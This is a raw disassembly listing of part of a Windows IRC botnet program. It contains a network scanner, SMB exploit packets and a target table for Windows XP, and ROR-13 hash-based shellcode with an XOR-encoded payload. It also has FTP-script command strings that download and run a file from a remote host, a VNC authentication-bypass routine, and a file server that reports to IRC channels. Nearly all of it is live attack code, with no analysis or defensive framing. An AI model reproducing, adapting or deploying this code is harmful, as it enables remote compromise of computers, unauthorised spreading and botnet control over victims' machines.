70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_431A50 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A84 db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AE4 db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B5C db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B90 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431BC4 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CADA+B2o align 4 dword_431C78 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C80 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C84 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C8C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431D14 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D44 dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D50 db 81h ; │ ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D9C db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_431DE0 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EDC push dword ptr [esi] push 63D61209h call sub_431EF2 mov [esi+8], eax call sub_431EA5 push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EF2 mov [esi+0Ch], eax call sub_431E57 push dword ptr [esi+4] push 4C0297FAh call sub_431EF2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DE0 endp ; =============== S U B R O U T I N E ======================================= sub_431E57 proc near ; CODE XREF: sub_431DE0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E80 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E57 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E80 proc near ; CODE XREF: sub_431E57+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E8F: ; CODE XREF: sub_431E80+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E9C inc ebx jmp short loc_431E8F ; --------------------------------------------------------------------------- loc_431E9C: ; CODE XREF: sub_431E80+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E80 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431EA5 proc near ; CODE XREF: sub_431DE0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431EBD: ; CODE XREF: sub_431EA5+1Ej cmp [ecx], ebx jz short loc_431EC5 mov ecx, [ecx] jmp short loc_431EBD ; --------------------------------------------------------------------------- loc_431EC5: ; CODE XREF: sub_431EA5+1Aj mov edx, edi loc_431EC7: ; CODE XREF: sub_431EA5+2Aj cmp [edx+4], ebx jz short loc_431ED1 mov edx, [edx+4] jmp short loc_431EC7 ; --------------------------------------------------------------------------- loc_431ED1: ; CODE XREF: sub_431EA5+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431EA5 endp ; =============== S U B R O U T I N E ======================================= sub_431EDC proc near ; CODE XREF: sub_431DE0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EDC endp ; =============== S U B R O U T I N E ======================================= sub_431EF2 proc near ; CODE XREF: sub_431DE0+16p ; sub_431DE0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431F08: ; CODE XREF: sub_431EF2+33j jecxz short loc_431F42 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431F15: ; CODE XREF: sub_431EF2+2Dj lodsb cmp al, ah jz short loc_431F21 ror edi, 0Dh add edi, eax jmp short loc_431F15 ; --------------------------------------------------------------------------- loc_431F21: ; CODE XREF: sub_431EF2+26j cmp edi, [esp+20h+arg_0] jnz short loc_431F08 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F42: ; CODE XREF: sub_431EF2:loc_431F08j ; sub_431EF2:loc_431F42j jmp short loc_431F42 sub_431EF2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_431F48 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F9A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F65: ; CODE XREF: sub_431F48+38j jecxz short loc_431F95 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F70: ; CODE XREF: sub_431F48+32j lodsb test al, al jz short loc_431F7C ror edx, 0Dh add edx, eax jmp short loc_431F70 ; --------------------------------------------------------------------------- loc_431F7C: ; CODE XREF: sub_431F48+2Bj cmp edx, [esp+arg_0] jnz short loc_431F65 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F95: ; CODE XREF: sub_431F48:loc_431F65j mov [esp+arg_0], ebx retn sub_431F48 endp ; =============== S U B R O U T I N E ======================================= sub_431F9A proc near ; CODE XREF: sub_431F48+7p ; FUNCTION CHUNK AT 00431FD2 SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431FB3 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431FBE ; --------------------------------------------------------------------------- loc_431FB3: ; CODE XREF: sub_431F9A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431FBE: ; CODE XREF: sub_431F9A+14j pop edi xor esi, esi pusha push esi jmp short loc_431FD2 sub_431F9A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431FC5 proc near ; CODE XREF: sub_431F9A:loc_431FD2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431FC5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F9A loc_431FD2: ; CODE XREF: sub_431F9A+29j call sub_431FC5 loc_431FD7: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F9A ; --------------------------------------------------------------------------- dw 0 dword_431FDC dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FE8 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FEC dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FF0 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FFC: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_432004 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_432004 dd 0 ; CODE XREF: ___:loc_431FFCj aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_432070 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_43207C: ; CODE XREF: ___:00432086j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_43207C inc edi jz short loc_4320C3 and eax, 952CE753h inc esp jle short loc_4320EB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_4320C3: ; CODE XREF: ___:00432089j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_432122+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320E8: ; CODE XREF: ___:00432115j xor [esi-25h], bl loc_4320EB: ; CODE XREF: ___:00432091j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_432104: ; CODE XREF: ___:00432137j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320E8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_432122: ; CODE XREF: ___:004320C9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_4321AE jo short loc_432104 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_432145+1 add bl, [edi] loc_432145: ; CODE XREF: ___:00432141j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_43215A+2 cmp ch, bh dec edx loc_43215A: ; CODE XREF: ___:00432155j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_4321AE: ; CODE XREF: ___:00432135j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_432234 sub al, 0BCh jmp near ptr 544525A2h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_4321D0 dd 0EFFFC481h, 44FFFFh, 43221Ch ; DATA XREF: ___:0040DC32o dword_4321DC dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321E0 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321E4 dd 258h ; DATA XREF: ___:0040DC28r byte_4321E8 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_432200 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321ECo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_432234: ; CODE XREF: ___:004321B8j push eax xor al, 29h loc_432237: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_432240 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_432254 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322FC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 10h aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 10h word_433540 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_433544 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 4 aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 4 a226TransferC_0 db '226 Transfer complete',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437CA8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437CB4o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_43382C db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_433854 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433AAC db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_433AE0: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 10h aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 10h a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: 